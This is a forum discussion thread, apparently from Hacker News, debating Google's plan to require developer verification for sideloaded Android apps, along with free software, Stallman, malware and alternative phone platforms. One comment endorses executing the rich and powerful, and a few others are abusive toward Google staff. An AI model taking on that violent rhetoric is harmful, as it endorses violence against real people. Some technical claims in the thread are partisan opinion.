The root cause of all of this: banking/finance/payment apps figure they can trust your device, because no one has regulated a universal trust root into existence. Google encouraged this with SafetyNet/Play Integrity, and convincing Visa/MasterCard that devices can be trusted for contactless payments.
Now there's one gaping hole left: you can still install unverified software from anywhere, and said software will use all tricks possible to convince users to grant accessibility permissions and give up the keys to the kingdom. There have been many attempts over the years to make this harder, but malicious apps are getting even more sophisticated, to the point of installing shortcuts to entire fake versions of your banking app on the home screen.
So Google is being pressured by governments and markets to make it harder to produce installable malware, when a better way to prevent malware while protecting user freedom is already here: passkeys. You cannot steal passkeys with a third-party app, no matter what tricks you try, because they are tied to domains and APK signatures. Stop trusting stealable credentials and you stop needing to trust the entire hardware and software stack behind the app calling your backend.
While I do believe root access should be possible, it shouldn't be easy. Because I'm confident my dad who wants to pirate F1 instead of pay for whichever overpriced premium streaming platform bought the rights this year would root his ipad and install a dodgy stream player if it was easy.
This has nothing to do with malware, and has everything to do with locking down the Android ecosystem to keep out competitors to Google's services.
I'd love to install OpenWRT on my portable 5g modem currently running Android - . but I can't and likely never will. Same for my IoT automated blinds
“In the broader conversation of right to repair regulations, we also need to be thinking about a "right to root access" for computing devices.” :)
- "Free" search - yay, let's all use it for everything and even make a verb out of it
- Email - such nice guys, Google - free email forever, what could go wrong if I have my 95% of all my info there
- Maps - yeah, let's all depend on these free Google maps with our lives
- Chrome - ofc, heck yes, let's all use their browser, it's the best and free - no need for anything else
- Google account login for EVERYTHING - so convenient! Google Authenticator app, Google Wallet - yes, more!
- Free mobile operating system - nice, take that, Apple!
Google has taken over a large portion of our lives, step by step - good enough services, on global scale, for free, until they became essential.
They are not evil, like they were never good - they are a company, and in the current socio-economic structure, that means having a duty to use their position to enrich their shareholders - and absolutely have no interest in people's wellbeing or morality or opinions or reputation - unless it temporarily serves to do so more / better.
I'm in no way trying to defend them. Just, with all the futility of it, pointing out how hyper-capitalism we've built/allowed to grow, has reached the stage where it's practically impossible for the "free market" to react / provide solutions that people want. Now the big players decide what people get.
In this case, you can no longer have a high quality phone of a good manufacturer and install on it what you want. Small manufacturer catering to that demographic won't get government certification, you can't have your e.g. Samsung and install a ROM anymore, and you can't install your app freely on Android unless Google lets you. That's all just in a tiny sliver of space.
Our Tetris board barely has any room left for choice and actions.
The only ones who hate it are devs. And who really cares about a bunch of nerds?
Remember, general purpose computing really boils down in security terms to "arbitrary code execution" -- a bad thing in the infosec field.
Side-loaded malware has been an epidemic in SE Asia, and there are MILLIONS of dollars stolen (mostly from pensioners!) via side-loaded malware disguised as gambling apps - the local population is particularly suspectible to gambling, especially the older generations that are not so tech-savvy.
It's good they decided to do something about it.
Banking apps in Malaysia are required to include malware detection software [0]. Companies should have better fraud and trust teams to identity and block fraud activities.
The rest of the world shouldn't suffer because a handful of banking companies refuse to offer basic fraud protections for their users.
[0] - https://www.abm.org.my/press-releases/banks-to-enable-malwar...
Yeah, my Dad got hacked only a month ago, through a tech-support phishing phone-call. He uses a windows PC which makes him vulnerable, and the scammers did install tons of evil crap. He really should be using an android or ios tablet, to reduce his chances of being hacked like this. I know these devices are still vulnerable, but they do seem more secure based on how much more locked down they are.
I'm sure if my grandma saw something like that, she wouldn't click it. This way, people who want to stay in a closed garden are protected, while those who want full control have it. The current implementation seems designed for state interests, not the people's.
It shouldn't be impossible. Not every FOSS developer will want to register, or be mature enough, or may be from sanctioned countries, and so forth.
This might do more good than harm, since I'm willing to believe that scams involving APKs are prevalent, but come on. I need your permission to install software on my phone? Are you sure it isn't just that you want more control over everyone's phones?
If I look through Google's contact links, it's all oriented around getting help with a problem rather than letting them know I'm going to move to something else if they go through with this. (And yes, even if Apple has the same types of restrictions on app store, if a more open alternative OS didn't work out for me, I'd move to them to punish the one dropping freedom of use.)
Everyone can figure out what's going to happen next.
And yes, before you ask, I have personally quit a job that paid 3x what I was able to get elsewhere over ethics. And no, I'm not rich, probably bottom 5% in terms of assets among my colleagues, coming from a lower-class background.
I wonder if the individuals implementing this will ever be held accountable for their crimes. I would certainly be in support for it.
Sure, no one's perfect, and you have to draw a line somewhere. But if you're at somewhere like Google or Meta, or have been in the last decade and left for other reasons than these, you really don't have a leg to stand on in these discussions.
The mechanisms are just the same as political discourse on other topics currently in UK, just much worse, because people's livelihoods actually depend on that.
There are people here that most likely don't work at Google but defended Manifest V3 nonetheless. "Hacker" in HN has lost its meaning.
This invalidates so many reasons to still use android.
Oh but they hate to hear this.
I think we might be past the stage of capitalism where the evil was merely incidental to the pursuit of profit.
Why did we let that happen?
They wrote it from scratch in C++ so they could avoid some of the legacy cruft in Android. And they are getting adoption. It's a major OS in China and in many developing countries (phones with it are cheaper, and it flies on underpowered hardware!)
Before we judge the magnitude of this event (HarmonyOS existing and being successful), let's remember that last time anyone tried to disrupt the duopoly Android-iOS, it was MS, the largest company on earth by market capitalization at the time. And they failed.
Well, it very much looks like Huawei is not failing. We in the west don't see it as much, because propaganda is working well. But last tech conference I attended (GITEX Berlin, if you are wondering), had their app available to download with... 3 logos, not 2. Harmony OS was there. This is a major win for consumers all over the world.
And this being HN, I hope the inevitable comment "but China!" is slightly more informed that the average internet user.
On this day suddenly folks come out of the woodwork advocating for half baked measures to achieve what Stallman portrayed but they still hardly recognize this was EXACTLY his concern when he started the Free Software movement.
Stallman's statements about how the person controlling nonfree software "is your master" are important, but they don't go far enough. The problem is not just the controlling of abstract intellectual property like intellectual property rights to particular software. The problem includes the actual control of how services are provided. When the provision of important services --- be they auth, email, banking, groceries, whatever --- is concentrated in a few hands, those hands become masters of many, regardless of the software licenses involved.
The people writing the software need to eat and if they can't do that it doesn't matter what the license is, the software won't get written and no one will be able to use it. Moves like this thing by Google are about economics rather than licenses or abstract ideas like "freedom". A world with ten gazillion closed-source programs competing would likely be more free than one with tons of open source software but only one company that can pay a living wage so that people can work on that software.
> The problem includes the actual control of how services are provided.
FSF has opinions about SaaS which they call SaaSS (Service as a Software Substitute).
https://www.gnu.org/philosophy/who-does-that-server-really-s...
If Android was AGPL without source assignment, this wouldn't be an issue.
Thanks to the anti-tivoization clause manufacturers are required to provide you with the ability to run your own code on the device, without any restrictions, so you'd have a guaranteed right to root the device and sideload your own apps, without something like SafetyNet being able to figure it out.
Because I see A LOT of “open source” advocates these days, and more and more “source available”.
But the old school Free Software hippies(that started with BSD, NOT GNU, IMNHO) are slowly dying out and being replaced with?
AOSP is as open source as Chromium is, and both are controlled by Google. To those who criticise Android devs... are you running Firefox?
He's not an open source advocate as such, but his work on consumer rights and enshittification promotes solutions like using open source software, right to repair and strong consumer protection regulations.
Ask yourself how come free software is everywhere, with licenses for various stuff neatly tucked away out of sight unless you're trying to find it, not to mention all the giant clusters of Linux machines in data centers running Samba, PostgreSQL, and all sorts of free software, and at the same time the FSF still has just a small appartment on the 5th floor of a building in Boston?
Here, take a look: https://www.fsf.org/about/contact/tour-2010
https://www.fsf.org/about/contact/
>As of September 1, 2024, we have gone remote and no longer have an office for people to visit.
IIRC they moved somewhere else in the interim.
Which ideas? I've read ideas from him that were borderline scandalous. I wouldn't say that 100% of what he ever said was "completely spot on".
Now if we are talking about the subset of his ideas that were completely spot on, then yeah, they are completely spot on :-).
I guess my point is that one can agree with a subset of his ideas and still dislike the guy. And I don't see why those ideas couldn't live without him. Especially if they are completely spot on. I don't get the cult of personality, not only for Stallman.
Yes, it's unfair that someone can be 100% correct but people won't listen to them because of their appearance or mannerisms. But whining about that unfairness is unproductive. People will never listen to someone who can't stop themselves from eating stuff from their foot in public.
I think his take on what compromises are valid and what aren't makes this clear: https://www.gnu.org/philosophy/compromise.en.html
In fact, this particular incident, re Android, a seemingly "open" system, is a perfect example of the importance of his PoV in particular, as it illustrates that Open Source ideology would not have been enough to ensure the user is in control.
There was a time getting bought up by a large company seems like a great success and exit strategy. Now days the only things that I want spend my time making are things that are useful for people around me, not things that are useful for industrial military and surveillance state.
His point of view and his goals are completely besides the point that he is unfit as a spokesperson for them.
Sadly. Because I agree with him quite a lot, and he does have good arguments.
Diplomacy does matter whether you like it or not. Especially before the person or people you're trying to persuade have heard your argument.
People are prejudiced, plain and simple.
You sound exactly like the people who condemned Socrates to death 24 centuries ago.
I don't think Stallman is abrasive out of a sense of respect and duty to the system of public debate.
You continuing with culture that fundamentally dismisses/devalues humans is the main issue here. Culture change starts from within. He works as a spokesperson for me becahse I'm much more inclined to someone showing basic humanity, like eating off a foot, than someone showing basic inhumanity, like catering to preferences born inside a country (like the US) that was founded on genocide & enslavement.
No, just about everyone critiquing RMS's behavior is saying that it negatively affects his own movement. That it makes it more difficult to advocate for Free Software, that it diminishes the FSF.
> Well, it is absolutely true, for their cause, not his.
You have it backwards. Open Source is so much bigger than Free Software, that it's not even funny. The Open Source people are not scared of RMS affecting a movement widely accepted in almost every major tech company.
It's also a damn shame that the majority of the people who are skilled at communicating messages effectively are working for these corporations; because without them, the unfiltered message of people like Stallman is all we've got.
So much time and effort wasted on a fruitless effort to redefine words that already have well established meanings.
That's news to me! But no. Open source philosophy isn't free software stripped of its ethics question. I have written an essay/article/novel/epic here: https://news.ycombinator.com/item?id=45027202
Problem is that many people today do still mistake Free software as no cost and for good reason. Funnily enough, "open sourcesource" turns out to have great SEO. Free software doesn't.
I'm not especially good at this, and obviously 'free software' has the benefit of a few decades history among the people who actually know it. But almost anything seems better than a phrase which has a very obvious meaning that's not the one you meant, and the consequent need for fussy little explanations. Especially when most Free Software is also free software.
The AOSP version of Android is both open source and free software. Open source and free software are both exactly the same thing.
You see this phenomenon in every movement for societal change. The more dogmatic they are, the larger their effect on public opinion.
The fact that the modern programming world defaults to releasing their code using corporate-friendly OSS licences like MIT is thanks to Stallman's and GNU's campaigns.
Not at all, that's why there are separate terms! GNU has an article that's worth reading: https://www.gnu.org/philosophy/open-source-misses-the-point....
I'll point out a very practical case. I was once-upon-a-time interested in Nostr, because I liked the relay idea. I looked for a client, and found one called Amethyst. When I installed it, I saw the author had inserted a pop-up on load that had me agreeing to his "Terms and Conditions" for using "the service". But the author had no service...he was worried about his liability if I posted something. Stallman saw this coming! From the article above:
> Third, the criteria for open source are concerned solely with the use of the source code. Indeed, almost all the items in the Open Source Definition are formulated as conditions on the software's source license rather than on what users are free to do. However, people often describe an executable as “open source,” because its source code is available that way. That causes confusion in paradoxical situations where the source code is open source (and free) but the executable itself is nonfree.
> The trivial case of this paradox is when a program's source code carries a weak free license, one without copyleft, but its executables carry additional nonfree conditions. Supposing the executables correspond exactly to the released sources—which may or may not be so—users can compile the source code to make and distribute free executables. That's why this case is trivial; it is no grave problem.
And this is _exactly_ the argument the author of Amethyst makes, check out how he reasons through the additional restrictions: https://github.com/vitorpamplona/amethyst/issues/378
His reasoning is squarely in this weird zone the Stallman wrote about:
> I am confused. Why are we mixing the license with the terms of use? These two files are separate legal matters. The Privacy is used by the Play Store to manage the distribution of the executables. The MIT license relates to the source code only.
> In other words, the MIT license removes any author liability from the misuse of the code. But when the author is also providing the system as binaries (which is an additional service in every jurisdiction I know of), there are many other legal issues that the source code license won't cover.
> And I don't know about you, but I am not comfortable allowing people to use the Play Store version or the FDroid version for these activities written in the Privacy statement. Most of them are local crimes that should not happen anyway.
> This has nothing to do with the source code license, which people can still download, compile and use in nefarious ways.
Anyway, my point is, in practice, there's a million ways to water down "open source" to remove user freedoms, and the value of Free Software is that it keeps the focus in the right place to avoid falling victim to those tricks.
As you may be aware, the open source initiative started much after free software movement by people who disagreed with Stallman and the free software philosophy. The core idea of OSI is that by keeping the source code open, more people from a wider background can work on it to improve its quality in terms of features, design, correctness, bug reporting and fixing, security, documentation, etc. The idea is to make software more of a shared resource, thus achieving what is difficult for a single company to achieve. With that in mind, OSI borrows one more requirement from the FSF - there can't be any limitation on the user as to how they use it.
Now coming to the Free Software philosophy as defined by FSF, opening the source is just a secondary concern - a means to an end. That end, the primary concern, being computing freedom. What it means is that any computing device must do only and exactly what its owner wishes it to do. This means that the device owner must be able to verify the functionality of the software and modify it to suit them, if necessary (with 3rd party help, if needed). This is possible only if the device owner also has the source code of the software. But that's where the requirement for open source code ends for free software. If the author of the software and the device owner wishes, they can keep the source all to themselves. There are plenty of cases where this actually makes sense. Anyway, the people who possess the software are also allowed to distribute the software as they see fit.
As you can see, the computing freedom part is the centerpiece of the free software philosophy. But it isn't a concern at all for open source. I will explain why later. In practice, most licenses that satisfy one philosophy automatically meets the requirements of the other. Thus free software license list and open source license list overlap for the most part (with a few exceptions). But the philosophical differences extend well beyond the licenses and deep into the software design itself. If the device owner/software user is supposed to have any freedom, the software must be small, easy to read and understand, easily hackable and modifiable, well documented, highly modular with very good glue layer and highly configurable. This concept pervades the GNU software design. Emacs is the best example of this. Others include GNU Shepherd, Guile, Guix, Poke, GDB and a lot of others.
Now coming to open source, we have this notion that if the source code is open, it is pro-user and pro-freedom. This is true for most FOSS code, because their authors have more or less the same idea. But it's entirely possible to create an open source project that actively denies or even degrades the control of the device owner over their device, and thus their freedom. Take these examples - Android, Chrome browser (and its derivatives), SystemD and VSCode. How many of these projects listen to the public about their design choices? Which among them can you realistically fork and maintain as an individual or even as a company? (Not even MNCs try that with Chrome). How deeply and freely configurable are any of them? Are you able to remove or disable their user-hostile features? Are you able to use their submodules? Have your ever seen their code while troubleshooting or debugging? Have you been able to stop them from corrupting open standards and ecosystems? These are the open source non-free software .
Now, how did open source become popular in place of free software? Its proponents would have you believe that FSF is heavy on 'ideology'. Except, those ideologies were actually very stark warnings about the future. Open source became popular because the corporations used their enormous wealth to downplay, malign and suppress the idea of computing freedom. This is just like how they made permissive licenses popular over copyleft licenses. Both were driven by greed. If the suppression of copyleft licenses was about obtaining unpaid labor, suppression of computing freedom was about usurping the device owners' control over their own devices.
Now that we have problems like Google mandating developer verification on Android, or unilaterally deprecating XSLT from the web standards, know that they are all the result of everyone contemptuously dismissing Stallman as an attention seeking lone rebel when he was trying to draw attention to the oppression that he clearly foresaw. Heck! Even I could see this from a mile away! But this world is driven by hype and ill advised blind faith.
That's how revolutions succeed, historically.
No revolutions turn out good for everyone, and there is no solution that fits all. Sometimes the rich and powerful needs to be dragged into the streets and executed, so they are reminded to be scared of the people under them. If they don't fear the population, then they see that there are no consequences for their actions.
We don't need more polished people.
People arguing this should realize that actors fighting oh the other side of the war might act kind and use politically correct wording, but they're still eroding our freedom little by little.
Arguments like this ("his behaviour") really mean that people care about policing other people's behaviour more than they care about the actual topic being discussed.
Downvote me if you want, I don't care:
- Stallman, singlehandedly, did more than anybody else for freedom in the computing industry.
- People pushing those arguments a huge part of the problem.
- People like Stallman are a huge part of the solution.
If he were normal he’d probably have ended up working at MS, IBM, Oracle.
Of course if his behavior bothers you then fork it and rewrite his work and maintain it then you have a laundered version of the same thing but you probably don’t care that much about his behavior to do that so it’s pointless to bring up.
Listen to yourself.
That is severe understatement. Plenty of people and political activists are not polished and not diplomatic ... while still not reaching Stallmans levels. Majority of them, actually.
> eating something off of his foot
Yeah, that episode is unforgettable.
What happened to GenX, Millenials and GenZ ? Why aren't there any more vocal activists doing something? The internet fuked us up. We're full of armchair experts "fighting" the cause laying in our coach.
Even today on HN most use chrome instead of firefox and mac instead of linux and. If you can't even convince the biggest nerds that supporting alternatives is important, what chances do you have?
How the hell is chrome significantly more secure than firefox?
Citation needed.
I mean - Western world is a bit tougher place for protesting than it used to be, due to capital accumulation. Free SW is admirable but a pretty first world problem, unfortunately, low on the list of priorities.
Can you cite me a source for this? Specifically to show that there are a "lot" of them being deported, and that the cause is definitely "for defending Palestinians" and nothing else?
A simple google search away.
There's genuine need for application developers to gain access to extremely secure end-to-end attestation of the environment their apps are running in. Its a rare need, but it does exist. There's also genuine need for some consumers to opt-in to a strict security regime.
Google's change forces this draconian, dishonorable regime on all application developers and on all users. Its a change that serves no one except their shareholders.
The world would be a much, much worse place without Free Software. We own the obligation to keep the fight up. So many of us profit from it, and so many people depend on it.
Natural incentives exist for tech majors to capture this space.
The thing is, GPS access as a permission is a bit scary. You could imagine some dubious uses for it. Moreover, you could imagine some such dubious uses creating a public relations nightmare for Google. So, Google just forces them out of the Play Store. (Technically, it's a routine renewal, but the GPS permission causes them extra scrutiny, to the point where the author burned out and gave up.[2])
Do we expect that this author should, or for that matter will, give their identity to Google after this? Or is GPSLogger just dead after this change lands?
[1]: https://gpslogger.app/ [2]: https://github.com/mendhak/gpslogger/issues/849
I personally will be extremely unhappy if I no longer can run dns66, newspipe or Firefox with ad blocking on my phone.
I think I might also start spending less time on my phone, which would be a good thing for me and a terrible thing for Google (in aggregate of course).
Online advertising is a whale hunting game. There is a subset of society who genuinely are so suggestible that you can convince them they need a new truck with an online ad. They are largely a disjoint set from people with strong opinions about anything, never mind the subset of those who care deeply about the freedom to modify their devices to suit our interests rather than those of the megacorps.
Here's hoping this will be a shot in the arm for PWAs.
There is no turning back. Generations of developers will grow up thinking every form of communication and technology by virtue of existing needs a corporate groundskeeper. Government identification will be required for most things.
I don't really blame the companies, though. Unfortunately, it actually is the best means to keep a society of the masses functioning more safely online. What makes it all the more sour is that the very idea that things could be different is eroding away, too.
Imagine if people felt that way about electrical power distribution? Every single thing you ever plugged in required a license to be validated at the time you tried to use an outlet?
For me, it's obvious that better ways of doing things exist, but I'm weird, and possibly a crank.
The solution, in my opinion, is to do the same thing we do with power in the home... limit the damage that can be done by anything plugged in, only giving away a limited capability for power delivery in a given outlet.
The analogous way to do this in an operating system is to discard the idea of providing all of the computing resources available to every program you run, and limit it in some way. The "permissions flags" we've all come to dread, first with UAC in Microsoft Windows, and now on our phones, obviously suck, and won't work.
The way to do it on a desktop, is to allow the user to choose exactly which resources a program may use, at runtime, by dialog boxes similar to the ones they already use, but with the additional behavior that the operating system enforces their choices, instead of just praying a program operates as intended.
On a phone, I don't have as strong an intuition, but I'm sure it can be worked out, both in a friendly, and secure way that doesn't require full time checking with consent from our betters in the corporate overlord hierarchy.
We can have secure and user friendly compute, both in our desktops, and in all our devices.
Couldn't the CA system, for all its problems, suffice?
You can buy a Linux phone today and make sure the vendors get their food on the table. Software is getting better. If you choose a phone with mainline kernel support (e.g. one that can run Mobian or PureOS), you can literally watch your OS improve month after month.
Alternatively, you can support the user-space ecosystem directly and fund the developers who make it happen. Donate to Sebastian Krzyszkowiak [0] and Guido Günther [1] if you can!
sidenote: xAI just opensource Grok 2.5 and will opensource Grok 3 in 6 months.
Here a tip: you won't solve the problem of security by just whining about corporate interests (which is a real concern) and NOT proposing a better solution that works for an average tech illiterate, very socially engineerable person trained to ignore every warning screen. And no root switch is not that solution because it will be flipped on day 1.
Also many of them will be your family (if you have it). Maybe even those from whom you would have inherited something if only they were not hacked
You still need an app with far too many permissions to pay for parking. All this does and funnel that through the play store.
Guess what - play store is infested with malware. In fact, most malware comes from the play store. This fixes nothing.
Any hint why those countries first?
Is it a local law there driving this whole move? Is a critical mass of malware originating from there?
What a horrible, terrible, depressing bag of lies that the anti-humanists keep getting away with saying with a straight face.
You now have options for cheap (less than $200) portable low energy devices:
1. PineTab-V, a linux on Risc-V tablet. (Got debian a few months back, still waiting for proper GPU support, usable but slow now)
2. uConsole, a linux cyberdeck with optional 4G. (Also has debian for 2711, 2712 and 3588 Compute Modules)
I'm not porting my games to Android, iOS, Switch or PlayStation. Only Windows/X86 and Linux/ARM+Risc-V.
No Linux/X86 to not encourage power waste after Windows gets too expensive to run on the client side.
I'm selling on itch instead of steam.
You only need Android for banking, and Nokia G22 (repairable) is/was also sub $200.
I am now creating a new Google account for each phone, that way you are not the product any more.
But can still operate in society.
So I do not want people to only move to linux (on their X86) but also move to ARM/Risc-V.
Directly from Windows on X86 to Linux on ARM/Risc-V in one go.
Two flies with one hit.
That said all X86 should become linux servers = this is only valid for the client.
As I said the X86 would use linux but as a server, not a client.
A server has to handle thousands of clients and then it's ok to have the extra power.
I don't understand why you think the last sentence, it makes no sense:
I am encouraging people to get low price, low power, open hardware and software for everyday use before the KWh goes to $1 which is HAS to do, hopefully not too soon.
I have several own-built apps which I use for different purposes only on my own devices.
Why the fuck should I become a verified developer just to use/install/update them?
I'm already pissed off enough by the fact that I must agree to let them upload and scan my app just to install/update it.
https://www.zdfheute.de/wirtschaft/unternehmen/gmx-google-pl...
Rechtsprechung (court decision of LG Mainz, 22.08.2025, 12 HK O 32/24), text isn't published yet as of today:
https://dejure.org/dienste/vernetzung/rechtsprechung?Gericht...
If you search for the Aktenzeichen ("12 HK O 32/34") you'll find other news sources that confirm this.
In general this is a backwards step for the ecosystem.
If you are logged in with a Google account that the government doesn't approve of or not signed into an account at all, you may receive a modified app that spies on you.
The problem is, where do we go now, from Android?
I love GrapheneOS but they can only thrive if Google tolerate them. So in its current form, this is not a medium or long term solution (anymore).
We really cannot afford to think in terms of "Android OS" or open source OS anymore the problem is getting much bigger.
My guess is soon in many "free" countries, ISP will mandate connecting with a "Certified" device (someone was saying that in Brazil only cell phones certified by the teleco government agency can be imported already). And on mobile it is easy to implement since you need a (e)SIM. The Internet is still hard to control at the protocol level, but the gates are easy to mostly control (your ISP).
In terms of mobile computing I mostly care about being able to access my home network from the places I am 80% of the time (and I can always bridge to the Internet from there). So the real battle is really at the mesh and multi-hop mobile ad hoc networks. This is the aspect we neglected for 25 years.
Regarding mobile, the battle for Android is lost, time to look into things like B.A.T.M.A.N [0] so we be able to keep another open source mobile platform useful.
For anything "money" related, your bank (which is inevitably regulated) will have to mandate a certified device too. It will work on (some) Linux too.
Ever wondered why for example the Fedora project [1] is proudly part of things like The Digital Public Goods Alliance [2] who works with many govs and if you really look into it they are all about digital ids and "restoring trust"?
- [0] https://www.open-mesh.org/projects/open-mesh/wiki
Google is - imho obviously - in contact with governments. You will need to reveal your verified, online identity in order to create a app. Even if you are just a hobbyist putting the app on your own phone.
1984 was supposed to be a warning, not a handbook.
many other fields have an explicit or implicit ethics code which we seem to lack. I'm thinking about other fields like medicine, engineering, etc. Probably since the entry level to development is low and anyone can do it, it means there's no way to enforce/teach it?
The usual answer that their livelyhoods depend on it is simplistic, these are the best paid developers in the US, pretty sure they have some sway power. There are doctors in way poorer countries with higher ethics standards.
They're just not also worrying about other effects like making it easy for governments to ban software, or making it hard for people to write software under a pseudonym.
Paternalistic mechanisms are relatively popular in security engineering right now because users are so often unsophisticated and time-constrained, while attackers are so often sophisticated and well-resourced. Paternalism almost always responds to real risks and threats, so it doesn't feel malicious because it's not rooted in malice.
I'm glad that people are so worried about this change, because I find it really alarming. But it's not like restrictions on people's choices have been that unusual as a response to dangers in modern history. In fact, professions like public health, occupational safety, and tort law often seem to presume that the general public probably shouldn't be allowed to make certain kinds of dangerous choices. They might be ethically wrong about that, but they clearly don't see themselves as bad guys for thinking so.
It's also worrying that in this case it's a private corporation the one calling the shots. Naively, in the other cases you mention it's at least government dictated which means there's some sense of accountability and transparency to the process (not saying that it's perfect of course).
Philosophers have been arguing about morality and ethics for thousands of years, and are no closer to consensus than they have ever been. The idea that 'I should be allowed to do whatever I want with computing machinery that I have bought' is a political choice, and because only a very small proportion is able to exercise that belief or even understand what it means, it is highly susceptible to being discarded in favour of beliefs like 'do whatever it takes to get the scammers off the internet'.
> The usual answer that their livelyhoods depend on it is simplistic, these are the best paid developers in the US, pretty sure they have some sway power.
You think that Google's best and brightest are working on the Google Play store?
No idea, whoever they are they're still well compensated and can afford some resistance
> What makes you so sure that such a hypothetical code of ethics would promote user freedom? I think it far more likely that protecting the user from harm (i.e., not allowing the user to install malware) would appear in that code.
Maybe? Maybe not? I never said I'm sure of it, but computing is built on a history of openness and interoperability. We at somepoint agreed having open hardware and protocols was the way to go, and we were right. A lot of the world runs on open source software, we managed to built the internet, we have PCs where you can swap components and it just works. None of that is obvious if you were to re-invent it in 2025. Malware is an excuse, you can battle that without losing any of the above.
Claiming that people you've never met are sufficiently financially secure to risk their livelihood for your protest movement is the kind of hubris I hope to never have.
> computing is built on a history of openness and interoperability
There was nothing inevitable about this, and while it is the superior engineering choice, that's not how decisions are made. Open standards and protocols only gained industry support because those industry players were trying to commoditise their complements, and open standards were the only way to achieve that. There are plenty of players in the industry who work under the monolithic closed-source model, but we 'cool kids' never hear about them, because they only talk to massive businesses with procurement departments.
I don't understand your agressiveness towards me, this is a conversation, we can talk and disagree without insulting.
I don't know every developer at Google or their situation but the idea that they're victims of a system that forces their hand is a stretch. There's people resisting changes they don't want at every step of the soci-economical ladder in different countries across countries and cultures. I can 100% understand a single person not being able to do so given their life circustances, but we're talking about a change across an organisation that probably encompases 100s of people, this is not resting on a single person. As I said in my original post, there's doctors in poorer countries with better ethics, what's different about developers?
I agree wholeheartedly, and if I really wanted to insult you, I wouldn't bother replying to you at all. You're clearly putting some thought into this, and I respect that, but I think your take is really bad.
I work in the gambling industry. Each weekday, I start my laptop with the knowledge that thousands of people will be hurt by the work I do. Not just the people who play the games, but their families, their children, and, in some cases, their employers who are embezzled from. But my employer treats me better than any other employer I've had, and not just in terms of money (even though I'm not well paid as far as software engineers go). My first career was as a schoolteacher - the poster child of the ethical career - and my fellow teachers treated me like dog shit, in numerous schools: people will do awful things to each other when they believe they're acting for 'the greater good'.
I don't think we can argue that the software engineers at Google are acting unethically because we don't know what choices they have, and we don't know what obligations they have outside their work. I'm not sure that we can argue that 'software freedom' is beneficial to everyone outside a small elite of power users. As much as we can argue that what Google has decided is bad for us as individuals, I don't think we have enough information to morally condemn the people who made and implemented that decision.
Obviously, there are people who are different ...
They sure as hell must feel good about their fat checks for killing freedom.
For an average Joe and Jane, who gets their money stolen, that's a good move. They don't care about technology, they just want their bank, instagram, cat pictures and video calls to work and not get scammed. They are often lured into installing scamware through exactly sideloading APK, completely unaware of the risks.
In the article there's this comment:
> I'm struggling to see the benefit of this new policy. While it's presented as a security measure, the requirement to fill out these forms seems like a trivial barrier for actual malware creators, who will easily abuse the system.
Every scammer will have a different code signing certificate which you can then block if they spread malware. Right now it's a huge mass of scammers and malware authors indistinguishable from each other. And Google could possibly block them all which would also block legitimate applications (now that would spark outrage). Thanks to the new policy it'll be easy to add a single cert to the blocklist.
If you want absolute freedom on your device, just install a different Android - for example Graphene, Lineage, /e/OS, or Calix. They are all Android too.
It's so fashionable these days to go after Google.
Thanks Google.
They can just follow a YouTube tutorial showing how to get around all the barriers Android added.
The only reason anyone is trying to find cracked apps is because the legitimate apps are, in it of themselves, malware. Typically spyware and adware.
We could also teach basic computer literacy in schools so people could understand common scams. We could sell phones with "extra protections" that people with less knowledge could buy.
The only reason to force this crap on everyone is control. What google cares about is getting rid of people's ability to block ads, kill youtube vanced, and so on.
Google will implement this, the consumers will pay for it, scams will still exist, and Google will open their hands and say "welp we tried". The infrastructure will already be in place, and it will never be revoked.
And another tomorrow. And then five more the day after, four of which will have been stolen from clueless legitimate developers, whose apps will get blocked too.
Microsoft tried this whole nonsense before, it doesn't work in practice.
> If you want absolute freedom on your device, just install a different Android - for example Graphene, Lineage, /e/OS, or Calix. They are all Android too.
Sounds to me like an APT rootkit vector that will be the next on the chopping block.
> For an average Joe and Jane, who gets their money stolen, that's a good move. They don't care about technology, they just want their bank, instagram, cat pictures and video calls to work and not get scammed. They are often lured into installing scamware through exactly sideloading APK, completely unaware of the risks.
Maybe Joe and Jane should learn their lesson instead, and don't do banking on their cat picture device, if they can't keep it safe.
Why do smartphone makers get all these special privileges while Microsoft got the law handed down on them for daring to bundle a damn web browser with their OS?
There is. But they are as prevalent as ever in the Play Store, so this decision will not move the needle.
https://www.theregister.com/2025/08/26/apps_android_malware/
https://arstechnica.com/security/2024/09/11-million-devices-...
https://www.cpomagazine.com/cyber-security/over-300-maliciou...
Not sure which numbers you are expecting, but 90 million downloads combined isn’t insignificant.
Which Google department are you at? Some good stuff you've convinced yourself of here. My social circle is 99% normies, not once of them has ever brought this up. Normie news doesn't bring it up. You do though, to justify yourself.
If it's something simple like $100, that's not a big deal. That's on the order of what I'm looking at for my code signing certificates. It would be a an eminently reasonable business expense.
We are so used to tech as it is that it is simple to force these bad decisions for the greater good. Because everyone is sure there is no alternative. There’s no other way to design tech, it will always be so complex and powerful that gov and corps can onesidedly decide what is best for the rest of the world.
This might be an area where local AI excels, when ready. No apps. No sharing of personal data. One AI capable of doing what most software does, on the fly, without relying on others to decide what is ok. Remains to be solved who can create and distribute this local AI and whether hardware will be allowed to run “untrusted” AI…
Feeling very frustrated with the way the internet is going lately. This plus OSA + chat control. And compounded by the imperative for AI companies to keep hoovering up any and all data they can get their hands on, wiring it into "agentic" workflows and such.
Even if Google backtracks now. Governments will latch on to this idea just like they have with client side content scanning. This will never go away. Thank you google you despicable pieces of shit.
What now? Where do we go from here?
I'm not going to submit to this crap. I'm sick of it. Nor I am going to IOS. It'll be a Linux phone for me or a dumbphone with tethering and a laptop.
This is truly some orwellian newspeak bull-shit.
For those who don't know, Google Play verification ensures critical apps like banking apps DO NOT WORK in privacy-focused ungoogled ROMs like LineageOS, unless you install the usual google spyware at the OS level. Basically soft-requiring you to buy into the duopoly.
Some of us code our .APK, then do an `adb install`.
This already requires enabling a system flag ("developer mode -> allow etc.").
It only makes sense that a similar flag would allow to install whatever we want (especially and in particular, our own software).
I have my apps as web pages, so I access them from phone web browser. I do not care about phone apps that much.
I use fdroid for calendar, gallery, and music though.
And to those, many here, who "but web apps are ugly, native feels better": you are contributing to all of this.
Looks like Google wants to kill it too.
You want to write an app that will only ever be put onto your own phone? Why should Google care?
This is not about safety. This is all about control.
Well I guess my next is an apple, but I'm hoping open-source android distros will get more dev resources now. Will happily use a sub-optimal distro over google's.
This of course has nothing to do with security, it's mainly the managements reaction to Youtube alternative apps actually growing in userbase (happy user of one here). And also to ban alternative app stores naturally.
Let us all not forget that YT videos are internet users created not google created, and the only reason why Google thinks this will work for them is their belief there is no competition to YT.
Having said that I can only see living with two devices going further: one locked down for banking & stuff and another one for freedom.
